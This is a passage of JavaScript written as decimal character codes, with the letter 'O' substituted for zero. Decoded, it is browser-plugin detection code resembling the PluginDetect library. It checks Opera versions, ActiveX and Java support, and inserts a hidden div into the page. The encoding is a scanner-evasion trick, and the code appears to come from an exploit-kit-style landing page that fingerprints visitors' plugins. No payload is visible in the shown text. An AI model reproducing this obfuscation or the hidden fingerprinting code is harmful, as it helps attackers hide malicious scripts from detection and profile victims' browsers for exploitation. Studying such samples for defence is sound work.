,38,38,4O,47,86,1O1,114,115,1O5,111,11O,92,115,42,92,47,92,115,42,4O,92,1OO,91,92,1OO,92,46,93,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,63,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,82,1O1,1O3,69,12O,112,46,36,49,41,58,11O,117,1O8,1O8,59,1OO,46,1O5,115,79,112,1O1,114,97,61,4O,47,79,112,1O1,114,97,92,115,42,91,92,47,93,63,92,115,42,4O,92,1OO,43,92,46,63,92,1OO,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,59,1OO,46,118,1O1,114,79,112,1O1,114,97,61,1OO,46,1O5,115,79,112,1O1,114,97,38,38,4O,4O,47,86,1O1,114,115,1O5,111,11O,92,115,42,92,47,92,115,42,4O,92,1OO,43,92,46,63,92,1OO,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,124,124,49,41,63,112,97,114,115,1O1,7O,1O8,111,97,116,4O,82,1O1,1O3,69,12O,112,46,36,49,44,49,48,41,58,11O,117,1O8,1O8,59,1OO,46,97,1OO,1OO,87,1O5,11O,69,118,1O1,11O,116,4O,34,1O8,111,97,1OO,34,44,1OO,46,1O4,97,11O,1OO,1O8,1O1,114,4O,1OO,46,114,117,11O,87,76,1O2,117,11O,99,115,44,1OO,41,41,125,44,1O5,11O,1O5,116,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,99,61,116,1O4,1O5,115,44,98,44,1OO,44,97,61,123,115,116,97,116,117,115,58,45,51,44,112,1O8,117,1O3,1O5,11O,58,48,125,59,1O5,1O2,4O,33,99,46,1O5,115,83,116,114,1O5,11O,1O3,4O,1OO,41,41,123,114,1O1,116,117,114,11O,32,97,125,1O5,1O2,4O,1OO,46,1O8,1O1,11O,1O3,116,1O4,61,61,49,41,123,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,1O1,1O8,1O5,1O9,1O5,116,1O1,114,61,1OO,59,114,1O1,116,117,114,11O,32,97,125,1OO,61,1OO,46,116,111,76,111,119,1O1,114,67,97,115,1O1,4O,41,46,114,1O1,112,1O8,97,99,1O1,4O,47,92,115,47,1O3,44,34,34,41,59,98,61,99,46,8O,1O8,117,1O3,1O5,11O,115,91,1OO,93,59,1O5,1O2,4O,33,98,124,124,33,98,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,41,123,114,1O1,116,117,114,11O,32,97,125,97,46,112,1O8,117,1O3,1O5,11O,61,98,59,1O5,1O2,4O,33,99,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,98,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,41,41,123,98,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,11O,117,1O8,1O8,59,98,46,118,1O1,114,115,1O5,111,11O,61,11O,117,1O8,1O8,59,98,46,118,1O1,114,115,1O5,111,11O,48,61,11O,117,1O8,1O8,59,98,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,11O,117,1O8,1O8,59,98,46,112,1O8,117,1O3,1O5,11O,78,97,1O9,1O1,61,1OO,125,99,46,1O3,97,114,98,97,1O3,1O1,61,1O2,97,1O8,115,1O1,59,1O5,1O2,4O,99,46,1O5,115,73,69,38,38,33,99,46,65,99,116,1O5,118,1O1,88,69,11O,97,98,1O8,1O1,1OO,38,38,1OO,33,61,61,34,74,97,34,43,34,118,97,34,41,123,97,46,115,116,97,116,117,115,61,45,5O,59,114,1O1,116,117,114,11O,32,97,125,97,46,115,116,97,116,117,115,61,49,59,114,1O1,116,117,114,11O,32,97,125,44,1O2,8O,117,115,1O4,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,44,97,41,123,118,97,114,32,99,61,116,1O4,1O5,115,59,1O5,1O2,4O,99,46,1O5,115,65,114,114,97,121,4O,97,41,38,38,4O,99,46,1O5,115,7O,117,11O,99,4O,98,41,124,124,4O,99,46,1O5,115,65,114,114,97,121,4O,98,41,38,38,99,46,1O5,115,7O,117,11O,99,4O,98,91,48,93,41,38,38,48,6O,98,46,1O8,1O1,11O,1O3,116,1O4,41,41,41,123,97,46,112,117,115,1O4,4O,98,41,125,125,44,99,97,1O8,1O8,65,114,114,97,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,118,97,114,32,99,61,116,1O4,1O5,115,44,97,59,1O5,1O2,4O,99,46,1O5,115,65,114,114,97,121,4O,98,41,41,123,1O2,111,114,4O,97,61,48,59,97,6O,98,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,98,91,97,93,61,61,61,11O,117,1O8,1O8,41,123,114,1O1,116,117,114,11O,125,99,46,99,97,1O8,1O8,4O,98,91,97,93,41,59,98,91,97,93,61,11O,117,1O8,1O8,125,125,125,44,99,97,1O8,1O8,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,97,61,98,46,1O5,115,65,114,114,97,121,4O,99,41,63,99,46,1O8,1O1,11O,1O3,116,1O4,58,45,49,59,1O5,1O2,4O,48,6O,97,38,38,98,46,1O5,115,7O,117,11O,99,4O,99,91,48,93,41,41,123,99,91,48,93,4O,98,44,97,62,49,63,99,91,49,93,58,48,44,97,62,5O,63,99,91,5O,93,58,48,44,97,62,51,63,99,91,51,93,58,48,41,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,98,46,1O5,115,7O,117,11O,99,4O,99,41,41,123,99,4O,98,41,125,125,125,44,36,36,1O5,115,77,1O5,11O,86,1O1,114,115,1O5,111,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,1O4,44,1O3,44,1OO,44,99,41,123,118,97,114,32,1O1,61,97,46,1O5,11O,1O5,116,4O,1O4,41,44,1O2,44,98,61,45,49,44,1O6,61,123,125,59,1O5,1O2,4O,1O1,46,115,116,97,116,117,115,6O,48,41,123,114,1O1,116,117,114,11O,32,1O1,46,115,116,97,116,117,115,125,1O2,61,1O1,46,112,1O8,117,1O3,1O5,11O,59,1O3,61,97,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,97,46,1O5,115,78,117,1O9,4O,1O3,41,63,1O3,46,116,111,83,116,114,1O5,11O,1O3,4O,41,58,4O,97,46,1O5,115,83,116,114,78,117,1O9,4O,1O3,41,63,97,46,1O3,1O1,116,78,117,1O9,4O,1O3,41,58,34,48,34,41,41,59,1O5,1O2,4O,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,33,61,49,41,123,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,1O3,44,1OO,44,99,41,59,1O5,1O2,4O,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,61,61,11O,117,1O8,1O8,41,123,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,49,125,125,97,46,99,1O8,1O1,97,11O,117,112,4O,41,59,1O5,1O2,4O,1O2,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,33,61,61,11O,117,1O8,1O8,41,123,98,61,1O2,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,6O,61,48,46,53,63,1O2,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,58,4O,1O2,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,61,48,46,55,63,49,58,4O,1O2,46,118,1O1,114,115,1O5,111,11O,61,61,61,11O,117,1O8,1O8,63,48,58,4O,97,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O2,46,118,1O1,114,115,1O5,111,11O,44,1O3,44,1O2,41,62,61,48,63,49,58,45,48,46,49,41,41,41,125,59,114,1O1,116,117,114,11O,32,98,125,125,44,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,1O1,1O8,1O5,1O9,1O5,116,1O1,114,58,34,44,34,44,36,36,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,1O3,44,1OO,44,99,41,123,118,97,114,32,1O1,61,97,46,1O5,11O,1O5,116,4O,1O3,41,44,1O2,44,98,44,1O4,61,123,125,59,1O5,1O2,4O,1O1,46,115,116,97,116,117,115,6O,48,41,123,114,1O1,116,117,114,11O,32,11O,117,1O8,1O8,125,59,1O2,61,1O1,46,112,1O8,117,1O3,1O5,11O,59,1O5,1O2,4O,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,33,61,49,41,123,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,11O,117,1O8,1O8,44,1OO,44,99,41,59,1O5,1O2,4O,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,61,61,11O,117,1O8,1O8,41,123,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,49,125,125,97,46,99,1O8,1O1,97,11O,117,112,4O,41,59,98,61,4O,1O2,46,118,1O1,114,115,1O5,111,11O,124,124,1O2,46,118,1O1,114,115,1O5,111,11O,48,41,59,98,61,98,63,98,46,114,1O1,112,1O8,97,99,1O1,4O,97,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,44,97,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,1O1,1O8,1O5,1O9,1O5,116,1O1,114,41,58,98,59,114,1O1,116,117,114,11O,32,98,125,125,44,99,1O8,1O1,97,11O,117,112,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,97,61,116,1O4,1O5,115,59,1O5,1O2,4O,97,46,1O3,97,114,98,97,1O3,1O1,38,38,97,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,119,1O5,11O,1OO,111,119,46,67,111,1O8,1O8,1O1,99,116,71,97,114,98,97,1O3,1O1,41,41,123,119,1O5,11O,1OO,111,119,46,67,111,1O8,1O8,1O1,99,116,71,97,114,98,97,1O3,1O1,4O,41,125,125,44,97,1OO,1OO,87,1O5,11O,69,118,1O1,11O,116,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,44,99,41,123,118,97,114,32,1O1,61,116,1O4,1O5,115,44,97,61,119,1O5,11O,1OO,111,119,44,98,59,1O5,1O2,4O,1O1,46,1O5,115,7O,117,11O,99,4O,99,41,41,123,1O5,1O2,4O,97,46,97,1OO,1OO,69,118,1O1,11O,116,76,1O5,115,116,1O1,11O,1O1,114,41,123,97,46,97,1OO,1OO,69,118,1O1,11O,116,76,1O5,115,116,1O1,11O,1O1,114,4O,1OO,44,99,44,1O2,97,1O8,115,1O1,41,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,97,46,97,116,116,97,99,1O4,69,118,1O1,11O,116,41,123,97,46,97,116,116,97,99,1O4,69,118,1O1,11O,116,4O,34,111,11O,34,43,1OO,44,99,41,125,1O1,1O8,115,1O1,123,98,61,97,91,34,111,11O,34,43,1OO,93,59,97,91,34,111,11O,34,43,1OO,93,61,1O1,46,119,1O5,11O,72,97,11O,1OO,1O8,1O1,114,4O,99,44,98,41,125,125,125,125,44,119,1O5,11O,72,97,11O,1OO,1O8,1O1,114,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,44,99,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,1OO,4O,41,59,1O5,1O2,4O,116,121,112,1O1,111,1O2,32,99,61,61,34,1O2,117,11O,99,116,1O5,111,11O,34,41,123,99,4O,41,125,125,125,44,87,76,1O2,117,11O,99,115,48,58,91,93,44,87,76,1O2,117,11O,99,115,58,91,93,44,114,117,11O,87,76,1O2,117,11O,99,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,118,97,114,32,98,61,123,125,59,97,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,61,116,114,117,1O1,59,97,46,99,97,1O8,1O8,65,114,114,97,121,4O,97,46,87,76,1O2,117,11O,99,115,48,41,59,97,46,99,97,1O8,1O8,65,114,114,97,121,4O,97,46,87,76,1O2,117,11O,99,115,41,59,1O5,1O2,4O,97,46,111,11O,68,111,11O,1O1,69,1O9,112,116,121,68,1O5,118,41,123,97,46,111,11O,68,111,11O,1O1,69,1O9,112,116,121,68,1O5,118,4O,41,125,125,44,119,1O5,11O,76,111,97,1OO,1O1,1OO,58,1O2,97,1O8,115,1O1,44,36,36,111,11O,87,1O5,11O,1OO,111,119,76,111,97,1OO,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,1O5,1O2,4O,97,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,41,123,97,46,99,97,1O8,1O8,4O,98,41,125,1O1,1O8,115,1O1,123,97,46,1O2,8O,117,115,1O4,4O,98,44,97,46,87,76,1O2,117,11O,99,115,41,125,125,125,44,36,36,111,11O,68,1O1,116,1O1,99,116,1O5,111,11O,68,111,11O,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,1O4,44,1O3,44,99,44,98,41,123,118,97,114,32,1OO,61,97,46,1O5,11O,1O5,116,4O,1O4,41,44,1O7,44,1O1,44,1O6,61,123,125,59,1O5,1O2,4O,1OO,46,115,116,97,116,117,115,61,61,45,51,41,123,114,1O1,116,117,114,11O,32,45,49,125,1O1,61,1OO,46,112,1O8,117,1O3,1O5,11O,59,1O5,1O2,4O,33,97,46,1O5,115,65,114,114,97,121,4O,1O1,46,1O2,117,11O,99,115,41,41,123,1O1,46,1O2,117,11O,99,115,61,91,93,125,1O5,1O2,4O,1O1,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,33,61,49,41,123,1O7,61,97,46,1O5,115,77,1O5,11O,86,1O1,114,115,1O5,111,11O,63,97,46,1O5,115,77,1O5,11O,86,1O1,114,115,1O5,111,11O,4O,1O4,44,34,48,34,44,99,44,98,41,58,97,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,1O4,44,99,44,98,41,125,1O5,1O2,4O,1O1,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,33,61,45,48,46,53,38,38,1O1,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,33,61,48,46,53,41,123,97,46,99,97,1O8,1O8,4O,1O3,41,59,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O1,46,78,79,84,7O,41,123,97,46,1O2,8O,117,115,1O4,4O,1O3,44,1O1,46,1O2,117,11O,99,115,41,59,114,1O1,116,117,114,11O,32,48,125,114,1O1,116,117,114,11O,32,49,125,125,44,1OO,1O5,118,58,11O,117,1O8,1O8,44,1OO,1O5,118,73,68,58,34,112,1OO,112,1OO,34,44,1OO,1O5,118,87,1O5,1OO,116,1O4,58,53,48,44,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,58,49,44,1O1,1O9,112,116,121,68,1O5,118,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,98,44,1O4,44,99,44,97,44,1O2,44,1O3,59,1O5,1O2,4O,1OO,46,1OO,1O5,118,38,38,1OO,46,1OO,1O5,118,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,41,123,1O2,111,114,4O,98,61,1OO,46,1OO,1O5,118,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,46,1O8,1O1,11O,1O3,116,1O4,45,49,59,98,62,61,48,59,98,45,45,41,123,99,61,1OO,46,1OO,1O5,118,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,91,98,93,59,1O5,1O2,4O,99,38,38,99,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,41,123,1O2,111,114,4O,1O4,61,99,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,46,1O8,1O1,11O,1O3,116,1O4,45,49,59,1O4,62,61,48,59,1O4,45,45,41,123,1O3,61,99,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,91,1O4,93,59,116,114,121,123,99,46,114,1O1,1O9,111,118,1O1,67,1O4,1O5,1O8,1OO,4O,1O3,41,125,99,97,116,99,1O4,4O,1O2,41,123,125,125,125,1O5,1O2,4O,99,41,123,116,114,121,123,1OO,46,1OO,1O5,118,46,114,1O1,1O9,111,118,1O1,67,1O4,1O5,1O8,1OO,4O,99,41,125,99,97,116,99,1O4,4O,1O2,41,123,125,125,125,125,1O5,1O2,4O,33,1OO,46,1OO,1O5,118,41,123,97,61,1OO,111,99,117,1O9,1O1,11O,116,46,1O3,1O1,116,69,1O8,1O1,1O9,1O1,11O,116,66,121,73,1OO,4O,1OO,46,1OO,1O5,118,73,68,41,59,1O5,1O2,4O,97,41,123,1OO,46,1OO,1O5,118,61,97,125,125,1O5,1O2,4O,1OO,46,1OO,1O5,118,38,38,1OO,46,1OO,1O5,118,46,112,97,114,1O1,11O,116,78,111,1OO,1O1,41,123,116,114,121,123,1OO,46,1OO,1O5,118,46,112,97,114,1O1,11O,116,78,111,1OO,1O1,46,114,1O1,1O9,111,118,1O1,67,1O4,1O5,1O8,1OO,4O,1OO,46,1OO,1O5,118,41,125,99,97,116,99,1O4,4O,1O2,41,123,125,1OO,46,1OO,1O5,118,61,11O,117,1O8,1O8,125,125,44,68,79,78,69,1O2,117,11O,99,115,58,91,93,44,111,11O,68,111,11O,1O1,69,1O9,112,116,121,68,1O5,118,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,99,61,116,1O4,1O5,115,44,97,44,98,59,1O5,1O2,4O,33,99,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,41,123,114,1O1,116,117,114,11O,125,1O5,1O2,4O,99,46,87,76,1O2,117,11O,99,115,38,38,99,46,87,76,1O2,117,11O,99,115,46,1O8,1O1,11O,1O3,116,1O4,38,38,99,46,87,76,1O2,117,11O,99,115,91,99,46,87,76,1O2,117,11O,99,115,46,1O8,1O1,11O,1O3,116,1O4,45,49,93,33,61,61,11O,117,1O8,1O8,41,123,114,1O1,116,117,114,11O,125,1O2,111,114,4O,97,32,1O5,11O,32,99,41,123,98,61,99,91,97,93,59,1O5,1O2,4O,98,38,38,98,46,1O2,117,11O,99,115,41,123,1O5,1O2,4O,98,46,79,84,7O,61,61,51,41,123,114,1O1,116,117,114,11O,125,1O5,1O2,4O,98,46,1O2,117,11O,99,115,46,1O8,1O1,11O,1O3,116,1O4,38,38,98,46,1O2,117,11O,99,115,91,98,46,1O2,117,11O,99,115,46,1O8,1O1,11O,1O3,116,1O4,45,49,93,33,61,61,11O,117,1O8,1O8,41,123,114,1O1,116,117,114,11O,125,125,125,1O2,111,114,4O,97,61,48,59,97,6O,99,46,68,79,78,69,1O2,117,11O,99,115,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,99,46,99,97,1O8,1O8,65,114,114,97,121,4O,99,46,68,79,78,69,1O2,117,11O,99,115,41,125,99,46,1O1,1O9,112,116,121,68,1O5,118,4O,41,125,44,1O3,1O1,116,87,1O5,1OO,116,1O4,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,41,123,1O5,1O2,4O,99,41,123,118,97,114,32,97,61,99,46,115,99,114,111,1O8,1O8,87,1O5,1OO,116,1O4,124,124,99,46,111,1O2,1O2,115,1O1,116,87,1O5,1OO,116,1O4,44,98,61,116,1O4,1O5,115,59,1O5,1O2,4O,98,46,1O5,115,78,117,1O9,4O,97,41,41,123,114,1O1,116,117,114,11O,32,97,125,125,114,1O1,116,117,114,11O,32,45,49,125,44,1O3,1O1,116,84,97,1O3,83,116,97,116,117,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O9,44,1O3,44,97,44,98,41,123,118,97,114,32,99,61,116,1O4,1O5,115,44,1O2,44,1O7,61,1O9,46,115,112,97,11O,44,1O8,61,99,46,1O3,1O1,116,87,1O5,1OO,116,1O4,4O,1O7,41,44,1O4,61,97,46,115,112,97,11O,44,1O6,61,99,46,1O3,1O1,116,87,1O5,1OO,116,1O4,4O,1O4,41,44,1OO,61,1O3,46,115,112,97,11O,44,1O5,61,99,46,1O3,1O1,116,87,1O5,1OO,116,1O4,4O,1OO,41,59,1O5,1O2,4O,33,1O7,124,124,33,1O4,124,124,33,1OO,124,124,33,99,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O9,41,41,123,114,1O1,116,117,114,11O,32,45,5O,125,1O5,1O2,4O,1O6,6O,1O5,124,124,48,62,1O8,124,124,48,62,1O6,124,124,48,62,1O5,124,124,1O5,6O,61,99,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,124,124,99,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,6O,49,41,123,114,1O1,116,117,114,11O,32,48,125,1O5,1O2,4O,1O8,62,61,1O5,41,123,114,1O1,116,117,114,11O,32,45,49,125,116,114,121,123,1O5,1O2,4O,1O8,61,61,99,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,38,38,4O,33,99,46,1O5,115,73,69,124,124,99,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O9,41,46,114,1O1,97,1OO,121,83,116,97,116,1O1,61,61,52,41,41,123,1O5,1O2,4O,33,1O9,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,38,38,99,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O9,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,38,38,99,46,1O5,115,78,117,1O9,4O,98,41,41,123,1O5,1O2,4O,33,99,46,1O5,115,78,117,1O9,4O,1O9,46,99,111,117,11O,116,41,41,123,1O9,46,99,111,117,11O,116,61,98,125,1O5,1O2,4O,98,45,1O9,46,99,111,117,11O,116,62,61,49,48,41,123,114,1O1,116,117,114,11O,32,49,125,125,125,125,99,97,116,99,1O4,4O,1O2,41,123,125,114,1O1,116,117,114,11O,32,48,125,44,1O3,1O1,116,68,79,77,111,98,1O6,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O3,44,97,41,123,118,97,114,32,1O2,44,1OO,61,116,1O4,1O5,115,44,99,61,1O3,63,1O3,46,115,112,97,11O,58,48,44,98,61,99,38,38,99,46,1O2,1O5,114,115,116,67,1O4,1O5,1O8,1OO,63,49,58,48,59,116,114,121,123,1O5,1O2,4O,98,38,38,97,41,123,1OO,46,1OO,1O5,118,46,1O2,111,99,117,115,4O,41,125,125,99,97,116,99,1O4,4O,1O2,41,123,125,114,1O1,116,117,114,11O,32,98,63,99,46,1O2,1O5,114,115,116,67,1O4,1O5,1O8,1OO,58,11O,117,1O8,1O8,125,44,115,1O1,116,83,116,121,1O8,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,44,1O3,41,123,118,97,114,32,1O2,61,98,46,115,116,121,1O8,1O1,44,97,44,1OO,44,99,61,116,1O4,1O5,115,59,1O5,1O2,4O,1O2,38,38,1O3,41,123,1O2,111,114,4O,97,61,48,59,97,6O,1O3,46,1O8,1O1,11O,1O3,116,1O4,59,97,61,97,43,5O,41,123,116,114,121,123,1O2,91,1O3,91,97,93,93,61,1O3,91,97,43,49,93,125,99,97,116,99,1O4,4O,1OO,41,123,125,125,125,125,44,1O5,11O,115,1O1,114,116,68,1O5,118,73,11O,66,111,1OO,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O5,44,1O3,41,123,118,97,114,32,1O2,44,99,61,116,1O4,1O5,115,44,1O4,61,34,112,1OO,51,51,57,57,51,51,57,57,34,44,98,61,11O,117,1O8,1O8,44,1OO,61,1O3,63,119,1O5,11O,1OO,111,119,46,116,111,112,46,1OO,111,99,117,1O9,1O1,11O,116,58,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,44,97,61,1OO,46,1O3,1O1,116,69,1O8,1O1,1O9,1O1,11O,116,115,66,121,84,97,1O3,78,97,1O9,1O1,4O,34,98,111,1OO,121,34,41,91,48,93,124,124,1OO,46,98,111,1OO,121,59,1O5,1O2,4O,33,97,41,123,116,114,121,123,1OO,46,119,114,1O5,116,1O1,4O,39,6O,1OO,1O5,118,32,1O5,1OO,61,34,39,43,1O4,43,39,34,62,46,39,43,99,46,111,112,1O1,11O,84,97,1O3,43,34,47,1OO,1O5,118,62,34,41,59,98,61,1OO,46,1O3,1O1,116,69,1O8,1O1,1O9,1O1,11O,116,66,121,73,1OO,4O,1O4,41,125,99,97,116,99,1O4,4O,1O2,41,123,125,125,97,61,1OO,46,1O3,1O1,116,69,1O8,1O1,1O9,1O1,11O,116,115,66,121,84,97,1O3,78,97,1O9,1O1,4O,34,98,111,1OO,121,34,41,91,48,93,124,124,1OO,46,98,111,1OO,121,59,1O5,1O2,4O,97,41,123,97,46,1O5,11O,115,1O1,114,116,66,1O1,1O2,111,114,1O1,4O,1O5,44,97,46,1O2,1O5,114,115,116,67,1O4,1O5,1O8,1OO,41,59,1O5,1O2,4O,98,41,123,97,46,114,1O1,1O9,111,118,1O1,67,1O4,1O5,1O8,1OO,4O,98,41,125,125,125,44,1O5,11O,115,1O1,114,116,72,84,77,76,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O2,44,98,44,1O3,44,97,44,1O7,41,123,118,97,114,32,1O8,44,1O9,61,1OO,111,99,117,1O9,1O1,11O,116,44,1O6,61,116,1O4,1O5,115,44,112,44,111,61,1O9,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,115,112,97,11O,34,41,44,11O,44,1O5,59,118,97,114,32,99,61,91,34,111,117,116,1O8,1O5,11O,1O1,83,116,121,1O8,1O1,34,44,34,11O,111,11O,1O1,34,44,34,98,111,114,1OO,1O1,114,83,116,121,1O8,1O1,34,44,34,11O,111,11O,1O1,34,44,34,112,97,1OO,1OO,1O5,11O,1O3,34,44,34,48,112,12O,34,44,34,1O9,97,114,1O3,1O5,11O,34,44,34,48,112,12O,34,44,34,118,1O5,115,1O5,98,1O5,1O8,1O5,116,121,34,44,34,118,1O5,115,1O5,98,1O8,1O1,34,93,59,118,97,114,32,1O4,61,34,111,117,116,1O8,1O5,11O,1O1,45,115,116,121,1O8,1O1,58,11O,111,11O,1O1,59,98,111,114,1OO,1O1,114,45,115,116,121,1O8,1O1,58,11O,111,11O,1O1,59,112,97,1OO,1OO,1O5,11O,1O3,58,48,112,12O,59,1O9,97,114,1O3,1O5,11O,58,48,112,12O,59,118,1O5,115,1O5,98,1O5,1O8,1O5,116,121,58,118,1O5,115,1O5,98,1O8,1O1,59,34,59,1O5,1O2,4O,33,1O6,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,97,41,41,123,97,61,34,34,125,1O5,1O2,4O,1O6,46,1O5,115,83,116,114,1O5,11O,1O3,4O,1O2,41,38,38,4O,47,91,94,92,115,93,47,41,46,116,1O1,115,116,4O,1O2,41,41,123,1O2,61,1O2,46,116,111,76,111,119,1O1,114,67,97,115,1O1,4O,41,46,114,1O1,112,1O8,97,99,1O1,4O,47,92,115,47,1O3,44,34,34,41,59,112,61,1O6,46,111,112,1O1,11O,84,97,1O3,43,1O2,43,39,32,119,1O5,1OO,116,1O4,61,34,39,43,1O6,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,43,39,34,32,1O4,1O1,1O5,1O3,1O4,116,61,34,39,43,1O6,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,43,39,34,32,39,59,112,43,61,39,115,116,121,1O8,1O1,61,34,39,43,1O4,43,39,1OO,1O5,115,112,1O8,97,121,58,1O5,11O,1O8,1O5,11O,1O1,59,34,32,39,59,1O2,111,114,4O,11O,61,48,59,11O,6O,98,46,1O8,1O1,11O,1O3,116,1O4,59,11O,61,11O,43,5O,41,123,1O5,1O2,4O,47,91,94,92,115,93,47,46,116,1O1,115,116,4O,98,91,11O,43,49,93,41,41,123,112,43,61,98,91,11O,93,43,39,61,34,39,43,98,91,11O,43,49,93,43,39,34,32,39,125,125,112,43,61,34,62,34,59,1O2,111,114,4O,11O,61,48,59,11O,6O,1O3,46,1O8,1O1,11O,1O3,116,1O4,59,11O,61,11O,43,5O,41,123,1O5,1O2,4O,47,91,94,92,115,93,47,46,116,1O1,115,116,4O,1O3,91,11O,43,49,93,41,41,123,112,43,61,1O6,46,111,112,1O1,11O,84,97,1O3,43,39,112,97,114,97,1O9,32,11O,97,1O9,1O1,61,34,39,43,1O3,91,11O,93,43,39,34,32,118,97,1O8,117,1O1,61,34,39,43,1O3,91,11O,43,49,93,43,39,34,32,47,62,39,125,125,112,43,61,97,43,1O6,46,111,112,1O1,11O,84,97,1O3,43,34,47,34,43,1O2,43,34,62,34,125,1O1,1O8,115,1O1,123,112,61,97,125,1O5,1O2,4O,33,1O6,46,1OO,1O5,118,41,123,1O5,61,1O9,46,1O3,1O1,116,69,1O8,1O1,1O9,1O1,11O,116,66,121,73,1OO,4O,1O6,46,1OO,1O5,118,73,68,41,59,1O5,1O2,4O,1O5,41,123,1O6,46,1OO,1O5,118,61,1O5,125,1O1,1O8,115,1O1,123,1O6,46,1OO,1O5,118,61,1O9,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,1OO,1O5,118,34,41,59,1O6,46,1OO,1O5,118,46,1O5,1OO,61,1O6,46,1OO,1O5,118,73,68,125,1O6,46,115,1O1,116,83,116,121,1O8,1O1,4O,1O6,46,1OO,1O5,118,44,99,46